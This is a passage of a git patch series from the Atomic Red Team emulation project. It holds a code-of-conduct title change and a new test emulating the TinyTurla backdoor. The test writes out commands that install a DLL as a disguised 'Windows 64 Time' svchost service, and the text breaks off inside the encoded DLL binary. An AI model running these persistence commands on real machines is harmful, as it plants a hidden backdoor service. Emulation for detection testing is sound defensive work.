From 98c5936be2243fcb4b29f3295e81b136f3f607eb Mon Sep 17 00:00:00 2001
From: "Marrelle Bailey (She/Her)"
 <66318176+MarrelleBailey@users.noreply.github.com>
Date: Tue, 1 Feb 2022 10:49:25 -0600
Subject: [PATCH 1/4] Taking out the work covenant (#1754)

deleting a word from the title
---
 CODE_OF_CONDUCT.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
index 4c7333d7..7575b89f 100644
--- a/CODE_OF_CONDUCT.md
+++ b/CODE_OF_CONDUCT.md
@@ -1,4 +1,4 @@
-# Contributor Covenant Code of Conduct
+# Contributor Code of Conduct
 
 Welcome to the [Atomic Red Team online community](https://atomicredteam.io/). Our goal is to foster an open, safe, and welcoming environment. As a collective, we—as contributors, maintainers, and the Open Source Projects team of Red Canary—pledge to encourage our project and community to be a harassment-free space. We invite you to collaborate, exchange thoughts or information, and engage with one another. Atomic Red Team is meant for everyone, regardless of age, personal appearance, body size, disability, nationality, race, ethnicity, gender identity and expression, level of experience or academics, religion, or sexual identity and orientation. 
 

From f9c2a9b69e488cfb3a796fcaa6ec7da25c8b3177 Mon Sep 17 00:00:00 2001
From: nsher07 <90919224+nsher07@users.noreply.github.com>
Date: Wed, 2 Feb 2022 21:57:20 +0530
Subject: [PATCH 2/4] New Atomic T1543.003 Tiny Turla Backdoor Service w64time
 (#1756)

* Update T1543.003.yaml

Atomic - T1045.003 - TinyTurla backdoor service w64time
It's running Dll as service to emulate the tine turla backdoor

* Create W64Time.cpp

* The Dll file for T145.003 Tiny Turla

* Fixed YAML syntax

* add blog link to description

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
---
 atomics/T1543.003/T1543.003.yaml  |  29 +++++++++
 atomics/T1543.003/bin/W64Time.dll | Bin 0 -> 124928 bytes
 atomics/T1543.003/src/W64Time.cpp |  98 ++++++++++++++++++++++++++++++
 3 files changed, 127 insertions(+)
 create mode 100644 atomics/T1543.003/bin/W64Time.dll
 create mode 100644 atomics/T1543.003/src/W64Time.cpp

diff --git a/atomics/T1543.003/T1543.003.yaml b/atomics/T1543.003/T1543.003.yaml
index b126530e..338b07ac 100644
--- a/atomics/T1543.003/T1543.003.yaml
+++ b/atomics/T1543.003/T1543.003.yaml
@@ -91,3 +91,32 @@ atomic_tests:
       Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
       try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
       catch {}
+- name: TinyTurla backdoor service w64time
+  description: |
+    It's running Dll as service to emulate the tine turla backdoor
+    
+    [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
+  supported_platforms:
+  - windows
+  input_arguments:
+    dllfilename:
+      description: It specifies Dll file to run as service
+      type: string
+      default: $PathToAtomicsFolder\T1543.003\bin\w64time.dll
+  executor:
+    command: |-
+      copy #{dllfilename} %systemroot%\system32\
+      sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
+      sc config W64Time DisplayName= "Windows 64 Time"
+      sc description W64Time "Maintain date and time synch on all clients and services in the network"
+      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
+      reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
+      sc start W64Time
+    cleanup_command: |-
+      sc stop W64Time
+      sc.exe delete W64Time
+      del %systemroot%\system32\w64time.dll
+      reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
+      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
+    name: command_prompt
+    elevation_required: true
diff --git a/atomics/T1543.003/bin/W64Time.dll b/atomics/T1543.003/bin/W64Time.dll
new file mode 100644
index 0000000000000000000000000000000000000000..320e3e4b282ab4ff81212b61ee1eb5e63570eef5
GIT binary patch
literal 124928
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
